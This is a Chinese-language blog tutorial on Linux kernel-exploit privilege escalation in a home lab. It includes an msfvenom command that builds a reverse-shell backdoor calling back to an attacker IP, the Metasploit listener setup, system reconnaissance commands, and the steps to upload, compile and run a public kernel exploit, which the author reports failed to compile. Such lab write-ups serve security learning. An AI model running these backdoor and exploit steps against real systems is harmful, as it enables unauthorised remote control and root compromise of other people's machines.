[权限提升] Linux 提权 — 系统内核溢出漏洞提权
关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:系统内核溢出漏洞提权介绍
注意:提权很容易让系统崩溃,所以如果是测试的话,提权前最好做好系统备份。
Linux 系统内核溢出提权漏洞与之前的 Windows 内核溢出漏洞 原理都差不多,都是通过内核漏洞进行提权的,内核漏洞一般都是专门研究这些的专家发现的,我们这些小卡拉米会用就行了(后面自学一下也未尝不可)。
利用内核漏洞进行提权的基本流程如下:
-
对目标系统进行信息收集,获取到系统内核信息以及版本信息。
-
根据内核版本获取其对应的漏洞以及 EXP。
-
使用找到的 EXP 对目标系统发起攻击,完成提权操作。
0x02:Linux 系统内核溢出漏洞环境搭建
实验环境简介
靶机 CentOS7:IP 192.168.0.137
攻击机 Kali Linux:IP 192.168.0.100
0x0201:CentOS7 靶机新增低权限用户
既然是提权,那么我们肯定得从一个低权限用户开始提。为了防止部分读者不会为 Linux 操作系统中新增低权限用户,特意写了本小节。
首先,以 Root 用户登录 CentOS7 靶机,并输入下面的命令添加 test01 用户:
sudo useradd test01
然后输入下面的命令,为 test01 用户指定登录密码(你不设置密码是无法登录该用户账户的),笔者设置的密码是 admin@123:
sudo passwd test01
执行完上面两个命令后你可以通过 test01 : admin@123
这个账号来尝试登录 CentOS7 靶机:
如果你能登录成功,那么恭喜你,你已经成功设置了一个低权限用户,接下来的提权操作就是通过 test01 来完成。
0x0202:MSF 通过木马文件上线 CentOS7
登录 Kali Linux 攻击机,输入下面的命令,生成一个 Linux 后门木马文件 shell.elf :
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=7777 -f elf > shell.elf
上面这个木马在靶机中执行后,会将靶机的控制权移交给 192.168.0.100 的 7777 端口。
木马生成完毕后,输入下面的命令在 Kali Linux 中开启本地的端口监听,等待靶机的 Shell 连接:
msfconsole # 进入 msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.100
set lport 7777
run
上面的准备工作完成后,我们以 test01 用户的身份拿到木马文件并运行(你可以通过在 Kali 中使用 Python 临时开放 80 下载端口,也可以将木马通过物理机上传到靶机,方法随便你,上传到靶机后执行即可):
此时回到我们 Kali Linux 的监听模块,可以看到 CentOS 7 靶机成功上线:
那么后面,就开始我们的 Linux 系统内核溢出漏洞提权实战。
0x03:Linux 系统内核溢出漏洞实战
0x0301:靶机信息收集
1. 查看当前 Shell 权限
拿到了靶机的 Shell 后,我们需要确定我们当前用户的等级,以下三条命令均可以实现这一需求:
meterpreter > getuid
shell > id
shell > whoami
如上,Linux 靶机的系统权限比较容易判断,最高级别用户就是 root,你 whoami 后不是 root 用户,就证明需要提权。
2. 收集靶机系统信息
确定当前的 Shell 需要提权后,我们就要查看目标靶机的系统信息,来看看目标是否有内核漏洞。
查看靶机的系统信息可以通过以下几个命令(shell > 代表进入交互模式后才能使用的命令):
meterpreter > sysinfo # meterpreter 自带的系统信息收集命令
shell > cat /etc/issue # 查看 ubuntu 或者 centos 的版本信息
shell > cat /etc/*-release # 查看 centos 版本信息
shell > uname -a # 查看系统内核全部信息
shell > uname -r # 查看内核版本
如上,通过收集靶机系统信息,我们得知,当前拿到的系统是 CentOS 7.9 版本的,Linux 内核版本是 3.10。
0x0302:Metasploit 提权
1. 使用 MSF 确定目标提权漏洞
MSF 中内置了提权脚本的搜索模块,我们新开一个 Kali Linux 的窗口,使用如下命令,搜索靶机中可能存在的提权漏洞及其 EXP:
searchsploit linux kernel 3.10
如上,我们定位出了一个基本符合要求的 EXP,叫 45516.c,使用如下命令导出这个 EXP:
searchsploit -m 45516.c # 将 45516.c 利用 EXP 导出到当前目录
此时俺们还不知道这个东西的用法,可以通过百度 CVE-2018-14634 这个漏洞来查看其用法:
芜湖,这个利用程序需要目标内存大于 32 GB,看来本地是很难验证了,所以我们只能换一个利用的 EXP 了。
笔者简单通过百度后并没有发现适合我这个系统的提权漏洞,这个也是很正常的。为了流程的连贯性,笔者准备还是使用上面的那个 45516.c 来尝试进行提权。
2. 使用漏洞对应的 EXP 进行提权
通过上面的命令,我们将 EXP 导出到了 /home/kali/Desktop/45516.c
这个位置,接下来我们切换到 Kali 远控 CentOS7 靶机的 meterpreter 界面,将上面的 EXP 上传到靶机 tmp 目录下:
upload /home/kali/Desktop/45516.c /tmp/45516.c # 将本地的 EXP 上传到靶机中
然后输入 shell
进入交互模式,进入交互模式后,进入 tmp 目录,输入下面的命令,在靶机上编译 .c
文件并执行(不同的 EXP 用法不同,建议百度搜用法后自己整理一下):
cd /tmp # 进入 tmp 目录
gcc 45516.c -o 45516 # 将 .c 文件利用靶机的 gcc 编译成可执行程序,如果靶机没有 gcc 你需要自己配置一台和靶机环境类似的机器,编译好程序后再上传给靶机执行
chmod +x 45516 # 为 45516 添加可执行权限
./45516 # 执行 EXP 尝试进行提权
笔者很可惜,编译这步就报错了,没能生成可执行文件:
不过 Linux 提权的整体流程就如上了,如果读者觉得有点懵,可以查看下面这篇文章,这是笔者打 VulnHub 记录的一次渗透全流程,里面的提权使用的就是 Linux 内核溢出漏洞:
拓展: 一次完整的渗透流程 - 内核提权:VulnHub - Prime - 1